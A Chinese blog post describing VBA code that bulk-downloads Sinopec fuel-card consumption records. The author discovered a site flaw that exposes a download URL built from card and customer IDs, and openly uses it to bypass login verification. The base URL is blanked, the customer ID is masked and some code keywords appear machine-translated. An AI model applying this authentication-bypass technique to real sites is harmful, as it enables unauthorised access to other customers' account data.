vba抓取网页数据(中石化网站查询只能一张一张卡进行查询或下载(图))
优采云 发布时间: 2021-11-07 09:16vba抓取网页数据(中石化网站查询只能一张一张卡进行查询或下载(图))
背景:
公司是中石化*敏*感*词*用户。一个ID下有近百张加油卡(销售人员遍布全国),需要每月统计所有卡消费记录。但中石化的网站查询只能选择一张卡查询或下载,不提供批量下载(这种企业根本不考虑用户感受,强烈鄙视)。每个月手动下载需要1个人16个工时,是巨大的工时浪费,必须自动化。
需要:
网站 数据通过VBA自动下载并汇总。
目标:16小时工作任务,缩短到1分钟
分析:
通过目标网站进行分析,感觉后台通过.net自动生成查询结果,保存为.xls文件供下载。研究了半天,无法获得文件下载的真实地址。在一次偶然的情况下,我在油卡选项列表框的末尾发现了一个空选项(系统漏洞)。选择此项点击下载,会跳转到一个空白页面,但不同的是浏览器地址栏赫然显示如下地址:。我们已经看到,通过给downloadexcel程序传递各种参数,可以得到一个名为gas.xls的文件,这里引用了公司的卡号和ID。通过分析,我们有了一些启示,可以相应的替换各个参数,然后就可以实现批量下载了。(最重要的一点是可以绕过登录验证,直接下载数据)
实现:核心代码
子卡号数据保存文件()
'目标:自动获取每张卡片的详细数据,并汇总,目标在1分钟内。
'程序:lwx,wh,wxt
'核心代码
Dim URL As String, unChang_Str01 As String, unChang_Str02 As String, unChang_Str03 As String, unChang_Str04 As String'地址信息的固定部分
Dim StartTime_Str As String, endTime_Str As String, CardInfo As String, SaveTo As String'查询周期信息和子卡号信息和存储目录信息
将 iCardcell 调暗为范围
Dim xPost 作为对象,sGet 作为对象,Y 作为对象
'利用中石化网站漏洞获取油卡查询结果下载地址,可进行地址结构-------------------- ----- ---------
unChang_Str01 = ""'.net服务器程序下载Excel
unChang_Str02 = "&endTime="
unChang_Str03 = "&cardId="
unChang_Str04 = "&customerId=1102000XXXXX"
'构造开始时间、结束时间、卡号等信息。其中customerId是通过漏洞获取的----------------------------------------
'利用该漏洞可以绕过登录验证,直接下载客户所有油卡信息。
StartTime_Str = Format([Start].Value, "yyyy-mm-dd")
endTime_Str = Format([End].Value, "yyyy-mm-dd")
SaveTo = IIf(Right([Path].Value, 1) = "\", Left([Path].Value, Len([Path].Value)-1), [Path].Value) )
如果 Dir$(SaveTo, 16) = "" 那么 MkDir SaveTo
对于范围内的每个 iCardcell([G2], [G65536].End(xlUp))
URL = unChang_Str01 & StartTime_Str & unChang_Str02 & endTime_Str & unChang_Str03 & iCardcell.Value & unChang_Str04'构造URL
Set xPost = CreateObject("Microsoft.XMLHTTP")'创建一个http对象,这里创建方法,省略在引用中添加对应项
xPost.Open "GET", URL, 0
xPost.Send
Set sGet = CreateObject("ADODB.Stream")'ADO 流的用法。将返回的数据直接存储为excel文件。
sGet.Mode = 3
sGet.Type = 1
sGet.Open
sGet.Write (xPost.responseBody)
sGet.SaveToFile SaveTo & "\" & iCardcell.Value & ".xls", 2
下一个 iCardcell
结束子
总结:
我害怕思考任何事情。如果网站没有漏洞,就不会实现。如果有,让我们快速使用它。ADO STREAM 也用于写入过程。感觉非常方便。
最后,我强烈鄙视中石化和中石油,油价一天天上涨,服务越来越差。还有就是CSDN博客中插入代码的功能真的没有以前那么好用了。
以上,构建的地址列表可以保存为.lst文件,直接用迅雷、快递等下载,然后在摘要中实现。缺点是不能自定义存储文件名。